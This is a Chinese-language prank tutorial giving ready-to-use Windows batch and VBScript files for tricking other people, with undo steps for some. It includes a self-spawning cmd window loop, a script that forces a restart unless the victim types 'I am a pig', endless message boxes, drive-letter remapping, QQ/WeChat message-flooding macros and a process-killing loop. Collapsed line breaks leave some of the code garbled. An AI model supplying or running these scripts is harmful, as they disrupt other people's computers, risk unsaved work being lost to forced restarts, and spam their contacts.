整蛊

一、无限弹框

新建txt文档，复制以下代码，放入文档：

:start start cmd goto start

文档重命名为：病毒1.bat

或者

start cmd %0

文档重命名为：病毒2.bat

或者

start start start start start start start start Echo off lots of boxes start box

文档重命名为：病毒3.bat

双击运行。

解除方法如下：

新建txt文档，复制以下代码，放入文档：

taskkill /f /im cmd.exe

文档重命名为：解除病毒.bat

双击运行。

二、输入弹框

新建txt文档，复制以下代码，放入文档：

text() function text() dim a a=InputBox("请大声说出我是猪！") if a="我是猪" then Msgbox"哈哈哈，我也觉得你是猪！",0,"恭喜" else Msgbox"不行，你一定要说我是猪！",0,"再来一次" text() end if end function

文档重命名为：整蛊1.vbs

或者

set ws=createobject("wscript.shell") call shutdown(1) do while a<>"我是猪" a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不输","") loop call shutdown(2) msgbox "早说就行了嘛",4096+64 msgbox"再输一遍我是猪!",4096+64 msgbox"我是猪!",4096+64 MsgBox"最后一次!",4096+64 MsgBox"如果你很快的点过去,不看的话",4096+64 MsgBox"我就要你踩我空间的!哼!",4096+64 MsgBox"从前有座山!",4096+64 MsgBox"山里有个庙.",4096+64 MsgBox"庙里有个老和尚在讲故事.",4096+64 ws.run"iexplore.exe http://www.baidu.com" msgbox"哎呀累了！数绵羊哄我睡觉",4096+64 for i=1 to 100 MsgBox i&"只绵羊",4096+64 next msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64 msgbox"最后问个问题，我是不是大好人！",4096+64 if inputbox("是不是","请选择","是")<>"是" then call shutdown(1) end if sub shutdown(s) select case s case 1 ws.run"cmd.exe /c shutdown -r -t 60 -c",0 case 2 ws.run"cmd.exe /c shutdown -a",0 end select end sub

文档重命名为：整蛊2.vbs

或者

do msgbox"注意！电脑已中毒！" loop

文档重命名为：整蛊3.vbs

双击运行。

打开任务管理器点击“进程”选项卡，找到进程wscript.exe，点“结束进程”即可。

三、磁盘复制

新建txt文档，复制以下代码，放入文档：

@echo off for %%i in (a b c d e f g h i j k) do (subst %%i: C:\)

保存，并重命名为：复制磁盘.bat

双击bat文件，然后打开我的电脑发现出来了一堆系统盘。

取消方法如下：

新建txt文档，复制以下代码，放入文档：

@echo off for %%i in (a b c d e f g h i j k) do (subst %%i: /d)

保存，并重命名为：取消复制磁盘.bat

双击bat文件，然后打开我的电脑发现恢复了正常。

四、QQ微信自动发送

新建txt文档，复制以下代码，放入文档：

On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 500 wsh.AppActivate("") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit

10是发送的次数

500是发送的间隔时间

SendKeys i 是是否要在发送的内容后加编号,不需要可删除

保存，并重命名为：轰炸.vbs

打开qq或微信窗口，复制一段想说的话，点击vbs文件，就会发现被激活的窗口自动发送了复制的内容

另：

Dim Name,Msg Name= "我爱罗" Msg = "Hellow！" set ws=wscript.createobject("wscript.shell") ws.Run "mshta vbscript:ClipboardData.SetData("&chr(34)&"text"&chr(34)&"," &Chr(34)& Name&Chr(34)& ")(close)",0,True ws.sendKeys "^%w" ws.appactivate "" wscript.sleep 500 ws.sendKeys "^f" wscript.sleep 500 ws.sendKeys "^v" wscript.sleep 500 ws.sendKeys "{ENTER}" wscript.sleep 200 ws.sendKeys "{TAB}" wscript.sleep 200 ws.sendKeys "{ENTER}" ws.Run "mshta vbscript:ClipboardData.SetData("&chr(34)&"text"&chr(34)&"," &Chr(34)& Msg &Chr(34)& ")(close)",0,True wscript.sleep 200 ws.sendKeys "^v" wscript.sleep 300 ws.sendKeys "{ENTER}"

保存，并重命名为：自动发送微信消息.vbs

双击可自动向微信好友Name=“我爱罗”发送消息Msg= “Hellow！”。

五、禁止打开软件

新建txt文档，复制以下代码，放入文档： On Error Resume Next Dim bag,pipe,honker,good Do good="." set bag=getobject("winmgmts:\\"& good &"\root\cimv2") set pipe=bag.execquery("select * from win32_process where name='HelloFont.exe'") for each i in pipe i.terminate() next wscript.sleep 5 loop 把该文档命名为：禁止软件运行.vbs

HelloFont.exe为要禁止的软件的名字，可右键软件快捷方式，选择属性，复制"目标"选项后面的名称即可。